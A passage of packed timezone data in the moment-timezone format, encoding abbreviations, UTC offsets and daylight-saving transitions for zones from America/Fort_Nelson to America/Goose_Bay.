Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|20e5","America/Fort_Nelson|LMT PST PDT PWT PPT MST|8a.L 80 70 70 70 70|012134121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121215|-3tofN.d 1nspN.d 1in0 UGp0 8x10 iy0 3NB0 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0|39e2","America/Fort_Wayne|LMT CST CDT CWT CPT EST EDT|5I.C 60 50 50 50 50 40|0121212134121212121212121212151565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 QI10 Db0 RB0 8x30 iw0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 5Tz0 1o10 qLb0 1cL0 1cN0 1cL0 1qhd0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Fortaleza|LMT -03 -02|2y 30 20|0121212121212121212121212121212121212121|-2glxq HdLq 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 nsp0 WL0 1tB0 5z0 2mN0 On0|34e5","America/Glace_Bay|LMT AST ADT AWT APT|3X.M 40 30 30 30|012134121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2IsI0.c CwO0.c 1in0 UGp0 8x50 iu0 iq10 11z0 Jg10 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|19e3","America/Godthab|LMT -03 -02|3q.U 30 20|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212|-2a5Ux.4 2z5dx.4 19U0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0|17e3","America/Goose_Bay|LMT NST NDT NST NDT NWT NPT AST ADT ADDT|41.E 3u.Q 2u.Q 3u 2u 2u 2u 40 30 20|0121343434343434356343434343434343434343434343434343434343437878787878787878787878787878787878787878787879787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787|-3tojW.k 1nspt.c 1in0 DXb0 2HbX.8 WL0 1qN0 WL0 1qN0 WL0 1tB0 TX0 1tB0 WL0 1qN0 WL0 1qN0 7UHu itu 1tB0 WL0 1qN0 WL0 1qN0 WL0 1qN0 WL0 1tB0 WL0 1ld0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 S10 g0u 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14n1 1lb0 14p0 1nW0 11C0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zcX Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 